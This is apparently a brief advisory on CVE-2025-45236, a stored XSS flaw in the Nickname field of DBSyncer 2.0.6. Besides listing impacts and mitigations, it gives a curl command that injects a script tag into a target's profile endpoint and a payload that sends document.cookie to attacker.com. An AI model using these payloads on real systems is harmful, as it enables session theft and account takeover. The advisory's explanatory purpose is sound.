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How the CVE Works
The vulnerability CVE-2025-45236 is a stored XSS flaw in DBSyncer v2.0.6, specifically in the Edit Profile feature. Attackers can inject malicious JavaScript or HTML payloads into the Nickname parameter, which is then stored in the database. When another user views the attacker’s profile, the payload executes in their browser, allowing session hijacking, defacement, or other client-side attacks. The lack of input sanitization and output encoding enables this exploit.
DailyCVE Form
Platform: DBSyncer
Version: 2.0.6
Vulnerability: Stored XSS
Severity: Medium
Date: 06/16/2025
Prediction: Patch by 07/10/2025
What Undercode Say
Analytics:
grep -r "Nickname" /var/www/dbsyncer/ curl -X POST -d "nickname=<script>alert(1)</script>" http://target/editprofile
Exploit:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Protection from this CVE:
- Input validation
- Output encoding
- CSP headers
Impact:
- Session theft
- Account takeover
- Data leakage
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
